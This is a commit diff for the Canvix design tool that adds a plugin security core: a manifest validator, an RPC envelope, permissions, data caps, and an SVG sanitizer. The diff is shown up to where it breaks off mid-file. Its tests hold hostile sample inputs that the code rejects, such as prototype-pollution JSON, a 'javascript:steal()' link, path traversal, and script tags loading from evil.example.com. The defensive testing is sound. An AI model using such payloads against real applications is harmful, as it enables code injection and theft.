Canvix — Free & open-source graphic design tool. A community-built Canva alternative with a drag-and-drop editor, templates, shapes, text, images & one-click export. Works on desktop, tablet & mobile.
TypeScript canva-alternativecanvasdesigndesign-tooldrag-and-dropeditorgraphic-designkonvanextjsopen-sourcereactself-hostedtemplatestypescript
feat(v0.13): plugin security-boundary core — manifest validator, versioned postMessage RPC envelope, default-deny permission model, collab-parity data caps, accept-or-reject renderer SVG sanitizer + protocol-level security regression suite (P1) (#17)
Ashiq Hussain Mir371e1b99b123
diff --git a/CHANGELOG.md b/CHANGELOG.mdindex e09ff2a..bf0c5a5 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -3,6 +3,70 @@All notable changes to Canvix will be documented in this file.The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).+## [0.13.0] — 2026-11-02++### Added++- **Plugin system, part 1 of 5 — the security-boundary core (P1).**+ First milestone of the v0.13 plugin MVP, ordered exactly as the+ research doc prescribes: boundary first, runtime second, DX last.+ Pure library code — no routes, no UI, no DB, **zero new npm+ dependencies** — that every later milestone composes:+ - **Manifest validator** (`src/lib/plugins/manifest.ts`):+ enforces every §4.1 rule with plain-language errors collected+ in one pass — `canvixPluginApi` major/minor gates (mismatch+ blocks install, never a silent no-op), the id grammar with+ `com.canvix.*` reserved for first-party, semver `engines.canvix`+ checked against the running app, safe relative `.html` entry+ paths (no traversal, no schemes), element-kind/field-schema+ grammar with `initialData` coherence, and an install-time HTML+ packaging check (no inline `<script>`, no `javascript:` URIs,+ no `on*=` handlers — so the serve route's strict CSP stays+ defensible). Reserved key names (`__proto__`, `constructor`,+ `prototype`) are rejected outright.+ - **Versioned RPC envelope** (`src/lib/plugins/rpc.ts`): the+ one bidirectional postMessage wire format (`v`/`id`/`dir`/+ `method`/`params` ↔ `ok`/`result`|`error`) with typed error+ codes (`E_VERSION`, `E_MALFORMED`, `E_PAYLOAD`, `E_PERMISSION`,+ `E_METHOD`, `E_THROTTLE`, `E_NOT_FOUND`, `E_TIMEOUT`,+ `E_INTERNAL`), strict id/method/handshake charsets, and+ 256 KB payload caps — unknown methods are `E_METHOD`, not+ `E_PERMISSION`, so misconfiguration is diagnosable.+ - **Permission model** (`src/lib/plugins/permissions.ts`):+ the manifest-declared → consent-granted → broker-enforced+ catalog (`design:read`, `design:write`, `element:plugin`,+ `storage`, `ui:notify`, repeatable `network:<origin>`), each+ with the verbatim plain-language line the consent screen will+ show, plus the §4.3 method→permission table that makes the+ broker default-deny by construction.+ - **Plugin data caps** (`src/lib/plugins/data-caps.ts`): one+ clone-safety checker (JSON-typed values only, depth ≤ 12,+ arrays ≤ 500, strings ≤ 100 k, ≤ 60 keys, no prototype-+ pollution key names) at numerical parity with the collab op+ validator, so plugin data rides autosave/collab/jsonb+ unchanged.+ - **Renderer SVG sanitizer**+ (`src/lib/plugins/sanitize-svg.ts`): accept-or-reject — never+ rewrite — validation of plugin renderer output before it is+ rasterized on canvas or embedded in exports: 2 MB / 20 k+ element / depth-64 caps, an SVG tag allowlist (no `script`,+ `foreignObject`, `animate`/`set`, `iframe`…), no event+ handlers or `javascript:` URIs, `data:`-only hrefs, `url()`+ and `@import` policing in `<style>` and `style=` CSS, and+ XXE/DOCTYPE/CDATA rejections. Hardened against comment-split+ payloads and quadratic-backtracking inputs.+ - **Security regression suite**+ (`src/lib/plugins/security-regression.test.ts`): the protocol-+ level seed of the §6 corpus — 20 hostile manifests, 16 hostile+ SVG documents, RPC replay/spoof/smuggle attempts, and four+ cross-module attack chains (default-deny, permission→CSP+ flow, data→export flow, entry-HTML smuggling). Runs on every+ PR via the existing `lint-unit` gate.+ - Semver engine matching is a hand-rolled comparator/x-range/+ hyphen/OR/caret/tilde range matcher (`semver.ts`, ~200 lines)+ with spec-correct prerelease ordering — no `semver` dependency,+ per the zero-dependency rule.+## [0.12.5] — 2026-11-02### Addeddiff --git a/README.md b/README.mdindex 995e018..2907bd0 100644--- a/README.md+++ b/README.md@@ -896,7 +896,16 @@ tool descriptions so agents pick the right format.per `research/PLUGIN-SYSTEM.md`: manifest + permission model, iframesandbox with postMessage bridge, an “Apps” panel store, and 2–3reference plugins (stock icons, charts, QR codes) to prove the- surface — then a community plugin registry+ surface — then a community plugin registry.+ In progress: the **security-boundary core** (P1) landed in+ `src/lib/plugins/` — manifest validator (id/api/engines/entry/+ permissions/element-schema rules), versioned postMessage RPC+ envelope with typed error codes, the default-deny permission+ catalog for the consent screen and broker, plugin data caps at+ collab parity, and the accept-or-reject renderer-SVG sanitizer —+ all pinned by a protocol-level security regression suite+ (20 hostile manifests, 16 hostile SVGs, RPC replay/spoof corpus)+ *(v0.13.0)*- [ ] Mobile editor polish — touch-first selection handles, gesturezoom/pan without modifier keys, bottom-sheet property panels(the responsive groundwork from v0.11.3 makes this tractable)diff --git a/package-lock.json b/package-lock.jsonindex c0f3cdc..cd5bc13 100644--- a/package-lock.json+++ b/package-lock.json@@ -1,12 +1,12 @@{"name": "canvix",- "version": "0.12.0",+ "version": "0.13.0","lockfileVersion": 3,"requires": true,"packages": {"": {"name": "canvix",- "version": "0.12.0",+ "version": "0.13.0","hasInstallScript": true,"dependencies": {"@imgly/background-removal": "^1.7.0",diff --git a/package.json b/package.jsonindex f784ec2..9ada1e1 100644--- a/package.json+++ b/package.json@@ -1,6 +1,6 @@{"name": "canvix",- "version": "0.12.5",+ "version": "0.13.0","private": false,"description": "Canvix — free & open-source graphic design tool. A community-built Canva alternative.","scripts": {diff --git a/src/lib/plugins/data-caps.test.ts b/src/lib/plugins/data-caps.test.tsnew file mode 100644index 0000000..c867418--- /dev/null+++ b/src/lib/plugins/data-caps.test.ts@@ -0,0 +1,65 @@+import { describe, expect, it } from 'vitest'+import {+ PLUGIN_DATA_MAX_ARRAY,+ PLUGIN_DATA_MAX_BYTES,+ PLUGIN_DATA_MAX_DEPTH,+ PLUGIN_DATA_MAX_KEYS,+ PLUGIN_DATA_MAX_STRING,+ checkCloneSafe,+} from './data-caps'++// The caps mirror validateOpPayload (collab) so plugin data rides+// autosave/collab/jsonb unchanged — these tests pin the parity+// limits and the hostile-payload rejections.++describe('checkCloneSafe', () => {+ it('accepts plain JSON data of reasonable size', () => {+ expect(checkCloneSafe(null)).toBeNull()+ expect(checkCloneSafe(42)).toBeNull()+ expect(checkCloneSafe({ words: ['a', 'b'], seed: 1, nested: { deep: [1, 2, 3] } })).toBeNull()+ })++ it('rejects non-JSON structured-clone types by design', () => {+ // top-level non-serializables fail at the JSON.stringify gate…+ expect(checkCloneSafe(() => 1)).toMatch(/not serializable/)+ expect(checkCloneSafe(Symbol('x'))).toMatch(/not serializable/)+ // …nested ones at the walk (BigInt throws at stringify, like a circle)+ expect(checkCloneSafe({ fn: () => 'hi' })).toMatch(/unsupported value type/)+ expect(checkCloneSafe({ sym: Symbol('x') })).toMatch(/unsupported value type/)+ expect(checkCloneSafe({ big: BigInt(10) })).toMatch(/not serializable/)+ expect(checkCloneSafe(new Date())).toMatch(/unsupported value type/)+ expect(checkCloneSafe(new Map())).toMatch(/unsupported value type/)+ expect(checkCloneSafe(new (class Widget {})())).toMatch(/unsupported value type/)+ })++ it('rejects circular references', () => {+ const a: Record<string, unknown> = {}+ a.self = a+ expect(checkCloneSafe(a)).toMatch(/not serializable/)+ })++ it('enforces the byte cap with a named violation', () => {+ const big = 'x'.repeat(PLUGIN_DATA_MAX_BYTES)+ expect(checkCloneSafe(big)).toMatch(/bytes — the cap is/)+ expect(checkCloneSafe('x'.repeat(PLUGIN_DATA_MAX_STRING - 1))).toBeNull()+ })++ it('enforces string, array, key and depth caps', () => {+ expect(checkCloneSafe('y'.repeat(PLUGIN_DATA_MAX_STRING + 1))).toMatch(/string longer than/)+ expect(checkCloneSafe(new Array(PLUGIN_DATA_MAX_ARRAY + 1).fill(0))).toMatch(/array longer than/)+ const wide: Record<string, number> = {}+ for (let i = 0; i <= PLUGIN_DATA_MAX_KEYS; i++) wide[`k${i}`] = i+ expect(checkCloneSafe(wide)).toMatch(/more than \d+ keys/)+ let deep: unknown = 0+ for (let i = 0; i < PLUGIN_DATA_MAX_DEPTH + 2; i++) deep = { d: deep }+ expect(checkCloneSafe(deep)).toMatch(/nested deeper than/)+ })++ it('rejects prototype-pollution key names (the JSON.parse attack)', () => {+ // object literals set a prototype; JSON.parse creates a genuine+ // own "__proto__" key — that is the shape a hostile payload has+ expect(checkCloneSafe(JSON.parse('{"__proto__": {"polluted": true}}'))).toMatch(/reserved key name/)+ expect(checkCloneSafe(JSON.parse('{"constructor": {"prototype": {"x": 1}}}'))).toMatch(/reserved key name/)+ expect(checkCloneSafe({ safe: { proto: 1 } })).toBeNull() // 'proto' alone is fine+ })+})diff --git a/src/lib/plugins/data-caps.ts b/src/lib/plugins/data-caps.tsnew file mode 100644index 0000000..8a7a1e9--- /dev/null+++ b/src/lib/plugins/data-caps.ts@@ -0,0 +1,105 @@+// ─────────────────────────────────────────────────────────────+// Plugin data caps — one clone-safety checker for everything a+// plugin may put on the wire (research §4.7):+//+// RPC params/results · element `data` · manifest initialData ·+// renderer input/output payloads · storage values+//+// The limits are deliberately IDENTICAL to the collab op payload+// caps (`validateOpPayload`, src/lib/collab/protocol.ts) so a+// plugin value that passes here can ride autosave, collab ops and+// Postgres jsonb unchanged — no second translation layer, no+// "works in the editor, rejected by the server" surprises.+//+// The plugin wire protocol is JSON-typed: null/boolean/number/+// string/array/plain-object only. Richer structured-clone types+// (Date, Map, Set, RegExp, class instances) are rejected on+// purpose — they cannot be persisted by the rest of the system.+// ─────────────────────────────────────────────────────────────++/** Serialized-size cap per payload — the collab MAX_EVENT_BYTES. */+export const PLUGIN_DATA_MAX_BYTES = 256 * 1024+/** Maximum nesting depth. */+export const PLUGIN_DATA_MAX_DEPTH = 12+/** Maximum array length. */+export const PLUGIN_DATA_MAX_ARRAY = 500+/** Maximum string length. */+export const PLUGIN_DATA_MAX_STRING = 100_000+/** Maximum object keys per level. */+export const PLUGIN_DATA_MAX_KEYS = 60++function isPlainObject(v: unknown): v is Record<string, unknown> {+ if (typeof v !== 'object' || v === null || Array.isArray(v)) return false+ const proto = Object.getPrototypeOf(v)+ return proto === Object.prototype || proto === null+}++/**+ * Validate a plugin-supplied value against the data caps.+ * Returns `null` when safe, or a plain-language error string+ * naming the violation (never a silent no-op, §4.1).+ */+export function checkCloneSafe(+ value: unknown,+ opts: { maxBytes?: number; depth?: number } = {},+): string | null {+ const maxBytes = opts.maxBytes ?? PLUGIN_DATA_MAX_BYTES+ const maxDepth = opts.depth ?? PLUGIN_DATA_MAX_DEPTH++ let serialized: string+ try {+ serialized = JSON.stringify(value)+ } catch {+ return 'payload is not serializable (circular reference or unsupported type)'+ }+ // top-level functions/symbols/undefined stringify to undefined+ if (serialized === undefined) {+ return 'payload is not serializable (top-level function, symbol or undefined)'+ }+ if (serialized.length > maxBytes) {+ return `payload is ${serialized.length} bytes — the cap is ${maxBytes}`+ }++ const walk = (v: unknown, depth: number, path: string): string | null => {+ if (v === null || v === undefined) return null+ if (typeof v === 'boolean') return null+ if (typeof v === 'number') {+ return Number.isFinite(v) ? null : `${path}: non-finite number`+ }+ if (typeof v === 'string') {+ return v.length <= PLUGIN_DATA_MAX_STRING+ ? null+ : `${path}: string longer than ${PLUGIN_DATA_MAX_STRING} characters`+ }+ if (Array.isArray(v)) {+ if (v.length > PLUGIN_DATA_MAX_ARRAY) {+ return `${path}: array longer than ${PLUGIN_DATA_MAX_ARRAY} items`+ }+ if (depth >= maxDepth) return `${path}: nested deeper than ${maxDepth} levels`+ for (let i = 0; i < v.length; i++) {+ const err = walk(v[i], depth + 1, `${path}[${i}]`)+ if (err) return err+ }+ return null+ }+ if (isPlainObject(v)) {+ const keys = Object.keys(v)+ if (keys.length > PLUGIN_DATA_MAX_KEYS) {+ return `${path}: object with more than ${PLUGIN_DATA_MAX_KEYS} keys`+ }+ if (depth >= maxDepth) return `${path}: nested deeper than ${maxDepth} levels`+ for (const k of keys) {+ if (k === '__proto__' || k === 'constructor' || k === 'prototype') {+ return `${path}: reserved key name "${k}"`+ }+ const err = walk(v[k], depth + 1, `${path}.${k}`)+ if (err) return err+ }+ return null+ }+ // functions, symbols, bigints, Dates, Maps, class instances…+ return `${path}: unsupported value type (${typeof v})`+ }++ return walk(value, 0, 'payload')+}diff --git a/src/lib/plugins/manifest.test.ts b/src/lib/plugins/manifest.test.tsnew file mode 100644index 0000000..ddf1079--- /dev/null+++ b/src/lib/plugins/manifest.test.ts@@ -0,0 +1,317 @@+import { describe, expect, it } from 'vitest'+import { checkEntryHtml, isSafeEntryPath, validateManifest } from './manifest'++// §4.1 rules, pinned. The golden fixture IS the Word Cloud+// reference plugin's manifest (§5) — if the validator rejects it,+// the validator is wrong.++const HOST = { hostAppVersion: '0.13.0' }++const WORDCLOUD = {+ canvixPluginApi: '1',+ id: 'com.canvix.wordcloud',+ name: 'Word Cloud',+ description: 'Turn page text into a word-cloud graphic',+ version: '1.0.0',+ author: { name: 'Canvix team' },+ engines: { canvix: '>=0.13.0 <0.14.0' },+ entry: { panel: 'panel.html' },+ permissions: ['design:read', 'design:write', 'element:plugin', 'storage'],+ elements: [+ {+ kind: 'cloud',+ label: 'Word cloud',+ initialData: { words: [], palette: ['#7630D7', '#02C0CC'], seed: 1 },+ schema: [+ { key: 'seed', type: 'number', label: 'Random seed', min: 1, max: 9999 },+ { key: 'mask', type: 'select', label: 'Shape', options: [+ { value: 'rect', label: 'Rectangle' },+ { value: 'circle', label: 'Circle' },+ ] },+ ],+ },+ ],+}++// A loose type for the fixture — tests mutate everything.+interface ManifestFixture {+ canvixPluginApi?: string+ id?: string+ name?: string+ description?: string+ version?: string+ author?: { name: string }+ engines: { canvix: string }+ entry: { panel?: string }+ permissions: string[]+ elements?: Array<{+ kind: string+ label: string+ initialData: Record<string, unknown>+ schema: Array<Record<string, unknown>>+ }>+}++// The schema declares a `mask` select; initialData carries 'rect'.+// Every fixture here is a fresh deep clone so tests stay independent.+const wordcloud = (): ManifestFixture => {+ const m = JSON.parse(JSON.stringify(WORDCLOUD)) as ManifestFixture+ m.elements![0].initialData.mask = 'rect'+ return m+}++describe('validateManifest — the golden fixture', () => {+ it('accepts the Word Cloud manifest (first-party id allowed)', () => {+ const r = validateManifest(wordcloud(), { ...HOST, allowFirstParty: true })+ expect(r.ok ? [] : r.errors).toEqual([])+ expect(r.ok).toBe(true)+ if (r.ok) {+ expect(r.manifest.id).toBe('com.canvix.wordcloud')+ expect(r.manifest.elements![0].kind).toBe('cloud')+ expect(r.networkOrigins).toEqual([])+ }+ })++ it('rejects the reserved com.canvix.* id for third-party installs', () => {+ const r = validateManifest(wordcloud(), HOST)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.errors.join('\n')).toMatch(/reserved/)+ })++ it('a third-party twin with a different id passes', () => {+ const m = wordcloud()+ m.id = 'net.example.wordcloud'+ expect(validateManifest(m, HOST).ok).toBe(true)+ })+})++describe('validateManifest — version gates', () => {+ it('accepts matching api major with equal/lower minor', () => {+ for (const api of ['1', '1.0']) {+ const m = wordcloud()+ m.id = 'net.example.wordcloud'+ m.canvixPluginApi = api+ expect(validateManifest(m, HOST).ok).toBe(true)+ }+ })++ it('rejects newer api (major and minor) with actionable messages', () => {+ const newer = wordcloud()+ newer.id = 'net.example.wordcloud'+ newer.canvixPluginApi = '2'+ const r1 = validateManifest(newer, HOST)+ expect(r1.ok).toBe(false)+ if (!r1.ok) expect(r1.errors.join('\n')).toMatch(/update Canvix/)++ const additive = wordcloud()+ additive.id = 'net.example.wordcloud'+ additive.canvixPluginApi = '1.5'+ const r2 = validateManifest(additive, HOST)+ expect(r2.ok).toBe(false)+ if (!r2.ok) expect(r2.errors.join('\n')).toMatch(/v1\.5/)+ })++ it('rejects garbage api strings', () => {+ for (const api of ['one', '', '1.', 'v1', '1.2.3', 1, null]) {+ const m = wordcloud()+ m.id = 'net.example.wordcloud'+ ;(m as unknown as Record<string, unknown>).canvixPluginApi = api+ expect(validateManifest(m, HOST).ok).toBe(false)+ }+ })++ it('engines.canvix is checked against the host version', () => {+ const older = wordcloud()+ older.id = 'net.example.wordcloud'+ older.engines.canvix = '>=0.12.0 <0.13.0'+ const r = validateManifest(older, HOST)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.errors.join('\n')).toMatch(/this instance is 0\.13\.0/)++ const garbage = wordcloud()+ garbage.id = 'net.example.wordcloud'+ garbage.engines.canvix = 'whenever it feels right'+ expect(validateManifest(garbage, HOST).ok).toBe(false)+ })+})++describe('validateManifest — structural rules', () => {+ const base = () => {+ const m = wordcloud()+ m.id = 'net.example.wordcloud'+ return m+ }++ it('collects every error in one pass', () => {+ const m = base()+ delete m.name+ m.version = 'one'+ m.entry = { panel: '/abs/panel.html' }+ m.permissions = ['design:read', 'root']+ const r = validateManifest(m, HOST)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.errors.length).toBeGreaterThanOrEqual(4)+ })++ it('rejects non-objects, arrays and oversize manifests', () => {+ expect(validateManifest(null, HOST).ok).toBe(false)+ expect(validateManifest([], HOST).ok).toBe(false)+ expect(validateManifest('plugin', HOST).ok).toBe(false)+ const m = base()+ m.description = 'x'.repeat(65 * 1024)+ expect(validateManifest(m, HOST).ok).toBe(false)+ })++ it('id grammar and reserved words (doc §4.1 regex: first label ≥2 chars)', () => {+ for (const bad of ['', 'X', '-lead', 'a', 'a.b', 'dot..dot', 'UPPER', 'canvix', 'com.canvix.x', 'a.b.c.d.e', 'x'.repeat(81)]) {+ const m = base()+ m.id = bad+ expect(validateManifest(m, HOST).ok, `id "${bad}"`).toBe(false)+ }+ for (const good of ['ab', 'net.example.wordcloud', 'x-y.z-w', 'plugs.time-series', 'ab.c']) {+ const m = base()+ m.id = good+ expect(validateManifest(m, HOST).ok, `id "${good}"`).toBe(true)+ }+ })++ it('entry paths must be relative and safe', () => {+ for (const bad of ['/abs.html', '../escape.html', 'a/../b.html', 'a\\\\b.html', 'no-ext', 'x.ht', 'a//b.html', 'https://evil/x.html']) {+ const m = base()+ m.entry = { panel: bad }+ expect(validateManifest(m, HOST).ok, `entry "${bad}"`).toBe(false)+ }+ for (const good of ['panel.html', 'ui/panel.html', 'a/b/c/d/panel.html']) {+ const m = base()+ m.entry = { panel: good }+ expect(validateManifest(m, HOST).ok, `entry "${good}"`).toBe(true)+ }+ })++ it('a plugin with neither entry.panel nor elements does nothing → rejected', () => {+ const m = base()+ delete m.entry.panel+ delete m.elements+ const r = validateManifest(m, HOST)+ expect(r.ok).toBe(false)+ if (!r.ok) expect(r.errors.join('\n')).toMatch(/does nothing/)+ })++ it('elements-only plugins are valid (properties slot + placeholders, no panel)', () => {+ const m = base()+ delete m.entry.panel+ expect(validateManifest(m, HOST).ok).toBe(true)+ })++ it('network permissions surface their validated origins', () => {+ const m = base()+ m.permissions.push('network:https://api.example.com', 'network:https://api.example.com/x')+ const r = validateManifest(m, HOST)+ expect(r.ok).toBe(true)+ if (r.ok) expect(r.networkOrigins).toEqual(['https://api.example.com'])+ })+})++describe('validateManifest — element schemas', () => {+ const base = () => {+ const m = wordcloud()+ m.id = 'net.example.wordcloud'+ return m+ }++ it('kind grammar, uniqueness and caps', () => {+ const m = base()+ m.elements = Array.from({ length: 21 }, (_, i) => ({ ...m.elements![0], kind: `k${i}` }))+ expect(validateManifest(m, HOST).ok).toBe(false)++ const dup = base()+ dup.elements = [dup.elements![0], { ...dup.elements![0] }]+ expect(validateManifest(dup, HOST).ok).toBe(false)++ const bad = base()+ bad.elements![0].kind = 'Cloud'+ expect(validateManifest(bad, HOST).ok).toBe(false)+ })++ it('schema/initialData coherence is enforced', () => {+ const missing = base()+ delete missing.elements![0].initialData.seed+ const r1 = validateManifest(missing, HOST)+ expect(r1.ok).toBe(false)+ if (!r1.ok) expect(r1.errors.join('\n')).toMatch(/missing "seed"/)++ const wrongType = base()+ wrongType.elements![0].initialData.seed = 'one'+ expect(validateManifest(wrongType, HOST).ok).toBe(false)++ const outOfRange = base()+ outOfRange.elements![0].initialData.seed = 99999+ expect(validateManifest(outOfRange, HOST).ok).toBe(false)++ const badSelect = base()+ badSelect.elements![0].initialData.mask = 'hexagon'+ expect(validateManifest(badSelect, HOST).ok).toBe(false)++ const badColor = base()+ badColor.elements![0].initialData.palette = ['red']+ badColor.elements![0].schema.push({ key: 'bg', type: 'color', label: 'Bg' })+ badColor.elements![0].initialData.bg = 'red'+ expect(validateManifest(badColor, HOST).ok).toBe(false)+ })++ it('field specs validate their own shape', () => {+ const m = base()+ m.elements![0].schema = [+ { key: 'Bad-Key', type: 'number', label: 'x' }, // bad key+ ]+ expect(validateManifest(m, HOST).ok).toBe(false)++ const n = base()+ n.elements![0].schema = [{ key: 'n', type: 'number', label: 'n', min: 10, max: 5 }]+ n.elements![0].initialData = { ...n.elements![0].initialData, n: 7 }+ expect(validateManifest(n, HOST).ok).toBe(false)++ const s = base()+ s.elements![0].schema = [{ key: 's', type: 'select', label: 's', options: [{ value: 'only', label: 'One' }] }]+ expect(validateManifest(s, HOST).ok).toBe(false)+ })++ it('initialData hostile payloads fail the clone caps', () => {+ const m = base()+ m.elements![0].initialData.deep = { a: { b: { c: { d: { e: { f: { g: { h: { i: { j: { k: { l: { m: 1 } } } } } } } } } } } } }+ expect(validateManifest(m, HOST).ok).toBe(false)+ })+})++describe('isSafeEntryPath', () => {+ it('is exported for the install route to reuse on every declared file', () => {+ expect(isSafeEntryPath('panel.html')).toBe(true)+ expect(isSafeEntryPath('../x.html')).toBe(false)+ expect(isSafeEntryPath(42)).toBe(false)+ })+})++describe('checkEntryHtml (packaging rule)', () => {+ it('accepts clean panel HTML', () => {+ expect(+ checkEntryHtml('<!doctype html><html><body><div id="app"></div><script src="app.js"></script></body></html>'),+ ).toBeNull()+ })++ it('rejects inline script blocks, javascript: URIs and on-handlers', () => {+ expect(checkEntryHtml('<script>doThing()</script>')).toMatch(/inline <script>/)+ expect(checkEntryHtml('<a href="javascript:steal()">x</a>')).toMatch(/javascript:/)+ expect(checkEntryHtml('<button onclick="x()">go</button>')).toMatch(/event handlers/)+ })++ it('script src must be a relative in-bundle path', () => {+ expect(checkEntryHtml('<script src="https://evil.example.com/app.js"></script>')).toMatch(/relative/)+ expect(checkEntryHtml('<script src="//evil.example.com/app.js"></script>')).toMatch(/relative/)+ expect(checkEntryHtml('<script src="../outside/app.js"></script>')).toMatch(/inside the plugin/)+ expect(checkEntryHtml('<script src="js/app.js"></script>')).toBeNull()+ })++ it('caps the HTML size', () => {+ expect(checkEntryHtml('<p>' + 'x'.repeat(513 * 1024) + '</p>')).toMatch(/cap is/)+ })+})diff --git a/src/lib/plugins/manifest.ts b/src/lib/plugins/manifest.tsnew file mode 100644index 0000000..113467d--- /dev/null+++ b/src/lib/plugins/manifest.ts@@ -0,0 +1,423 @@+// ─────────────────────────────────────────────────────────────+// Plugin manifest — types + the install-time validator+// (research/PLUGIN-SYSTEM.md §4.1).+//+// A plugin is a directory of static files described by+// `manifest.canvix.json`. This validator is the first gate of the+// trust chain: everything the consent screen shows, the serve+// route serves, and the broker enforces originates from a+// manifest that passed HERE.+//+// Validation philosophy: collect every error (plain language,+// never a silent no-op), normalize what passes, and reject+// anything not explicitly allowed. Unknown top-level keys are+// ignored on purpose — a future-minor manifest on this host keeps+// its v1 contract; version checks above decide compatibility.+// ─────────────────────────────────────────────────────────────++import { checkCloneSafe } from './data-caps'+import { normalizePermissions } from './permissions'+import { isValidRange, matchesRange, parseSemver } from './semver'++/** Plugin API version THIS host build speaks (envelope major + additive minor). */+export const PLUGIN_API_MAJOR = 1+export const PLUGIN_API_MINOR = 0++/** Hard size cap for the manifest JSON itself. */+export const MAX_MANIFEST_BYTES = 64 * 1024+/** Max declared element types per plugin. */+export const MAX_ELEMENTS = 20+/** Max property fields per element schema. */+export const MAX_FIELDS = 24++const API_RE = /^\d+(\.\d+)?$/+const ID_RE = /^[a-z0-9][a-z0-9-]{1,62}(\.[a-z0-9-]+){0,3}$/+const KIND_RE = /^[a-z][a-z0-9-]{0,30}$/+const FIELD_KEY_RE = /^[a-z][a-zA-Z0-9]{0,30}$/+const HEX_RE = /^#[0-9a-fA-F]{6}$/+const ENTRY_PATH_RE = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,118}\.html$/++export type PluginFieldType = 'text' | 'number' | 'color' | 'select' | 'range'++export interface PluginFieldSpec {+ key: string+ type: PluginFieldType+ label: string+ min?: number+ max?: number+ step?: number+ maxLength?: number+ options?: { value: string; label: string }[]+}++export interface PluginElementSpec {+ kind: string+ label: string+ initialData: Record<string, unknown>+ schema: PluginFieldSpec[]+}++export interface PluginManifest {+ canvixPluginApi: string+ id: string+ name: string+ description?: string+ version: string+ author?: { name: string; url?: string }+ engines: { canvix: string }+ entry: { panel?: string }+ permissions: string[]+ elements: PluginElementSpec[]+}++export interface ValidateManifestOptions {+ /** host app semver, e.g. "0.13.0" — checked against engines.canvix */+ hostAppVersion: string+ /** override for tests / future hosts */+ hostApiMajor?: number+ hostApiMinor?: number+ /** allow `com.canvix.*` ids — first-party/bundled plugins only */+ allowFirstParty?: boolean+}++export type ManifestResult =+ | { ok: true; manifest: PluginManifest; networkOrigins: string[] }+ | { ok: false; errors: string[] }++function isPlainObject(v: unknown): v is Record<string, unknown> {+ return typeof v === 'object' && v !== null && !Array.isArray(v) && Object.getPrototypeOf(v) === Object.prototype+}++/** Is `p` a safe relative asset path (no traversal, no scheme, no absolute)? */+export function isSafeEntryPath(p: unknown): p is string {+ if (typeof p !== 'string') return false+ if (!ENTRY_PATH_RE.test(p)) return false+ if (p.includes('..')) return false+ if (p.includes('\\')) return false+ // ≤ 8 segments, no empty segments ("a//b")+ const segs = p.split('/')+ if (segs.length > 8 || segs.some((s) => !s)) return false+ return true+}++/** Validate one field spec; return its error or null. */+function validateField(f: unknown, where: string): string | null {+ if (!isPlainObject(f)) return `${where}: each schema field must be an object`+ if (typeof f.key !== 'string' || !FIELD_KEY_RE.test(f.key)) {+ return `${where}: field key must be lowerCamelCase identifiers ("${String(f.key)}")`+ }+ const types: PluginFieldType[] = ['text', 'number', 'color', 'select', 'range']+ if (!types.includes(f.type as PluginFieldType)) {+ return `${where}.${f.key}: type must be one of ${types.join(', ')}`+ }+ if (typeof f.label !== 'string' || f.label.trim().length < 1 || f.label.length > 40) {+ return `${where}.${f.key}: label must be 1–40 characters`+ }+ if (f.type === 'number' || f.type === 'range') {+ const min = f.min+ const max = f.max+ if (min !== undefined && !Number.isFinite(Number(min))) return `${where}.${f.key}: min must be a finite number`+ if (max !== undefined && !Number.isFinite(Number(max))) return `${where}.${f.key}: max must be a finite number`+ if (min !== undefined && max !== undefined && Number(min) > Number(max)) {+ return `${where}.${f.key}: min must be ≤ max`+ }+ if (f.step !== undefined && !(Number(f.step) > 0)) return `${where}.${f.key}: step must be > 0`+ }+ if (f.type === 'text' && f.maxLength !== undefined) {+ const m = Number(f.maxLength)+ if (!Number.isInteger(m) || m < 1 || m > 400) return `${where}.${f.key}: maxLength must be 1–400`+ }+ if (f.type === 'select') {+ const opts = f.options+ if (!Array.isArray(opts) || opts.length < 2 || opts.length > 10) {+ return `${where}.${f.key}: select needs 2–10 options`+ }+ const seen = new Set<string>()+ for (const o of opts) {+ if (!isPlainObject(o) || typeof o.value !== 'string' || !o.value || o.value.length > 40) {+ return `${where}.${f.key}: each option needs a value (1–40 chars)`+ }+ if (typeof o.label !== 'string' || !o.label || o.label.length > 40) {+ return `${where}.${f.key}: each option needs a label (1–40 chars)`+ }+ if (seen.has(o.value)) return `${where}.${f.key}: duplicate option value "${o.value}"`+ seen.add(o.value)+ }+ }+ return null+}++/** Does `value` conform to a validated field spec? */+function valueMatchesField(value: unknown, f: PluginFieldSpec): boolean {+ switch (f.type) {+ case 'text':+ return typeof value === 'string' && value.length <= (f.maxLength ?? 400)+ case 'color':+ return typeof value === 'string' && HEX_RE.test(value)+ case 'number':+ case 'range': {+ if (typeof value !== 'number' || !Number.isFinite(value)) return false+ if (f.min !== undefined && value < f.min) return false+ if (f.max !== undefined && value > f.max) return false+ return true+ }+ case 'select':+ return typeof value === 'string' && (f.options ?? []).some((o) => o.value === value)+ }+}++/**+ * Validate a parsed manifest JSON value. Collects ALL errors so a+ * plugin author fixes everything in one round-trip.+ */+export function validateManifest(raw: unknown, opts: ValidateManifestOptions): ManifestResult {+ const errors: string[] = []+ const hostMajor = opts.hostApiMajor ?? PLUGIN_API_MAJOR+ const hostMinor = opts.hostApiMinor ?? PLUGIN_API_MINOR++ let serialized: string+ try {+ serialized = JSON.stringify(raw)+ } catch {+ return { ok: false, errors: ['manifest is not JSON-serializable'] }+ }+ if (serialized.length > MAX_MANIFEST_BYTES) {+ return { ok: false, errors: [`manifest is ${serialized.length} bytes — the cap is ${MAX_MANIFEST_BYTES}`] }+ }+ if (!isPlainObject(raw)) {+ return { ok: false, errors: ['manifest must be a JSON object'] }+ }+ // reserved key names — a hostile manifest must not be able to+ // plant own __proto__/constructor/prototype keys for downstream+ // naive merges to trip over (JSON.parse makes these real own keys)+ for (const key of Object.keys(raw)) {+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') {+ return { ok: false, errors: [`manifest must not contain the reserved key "${key}"`] }+ }+ }++ // ── canvixPluginApi ──+ const api = raw.canvixPluginApi+ if (typeof api !== 'string' || !API_RE.test(api)) {+ errors.push('canvixPluginApi must be "1" or "major.minor" like "1.2"')+ } else {+ const [majStr, minStr = '0'] = api.split('.')+ const maj = Number(majStr)+ const min = Number(minStr)+ if (maj !== hostMajor) {+ errors.push(+ maj > hostMajor+ ? `this plugin needs plugin API v${maj} — this Canvix speaks v${hostMajor}.${hostMinor}; update Canvix or install an older plugin`+ : `this 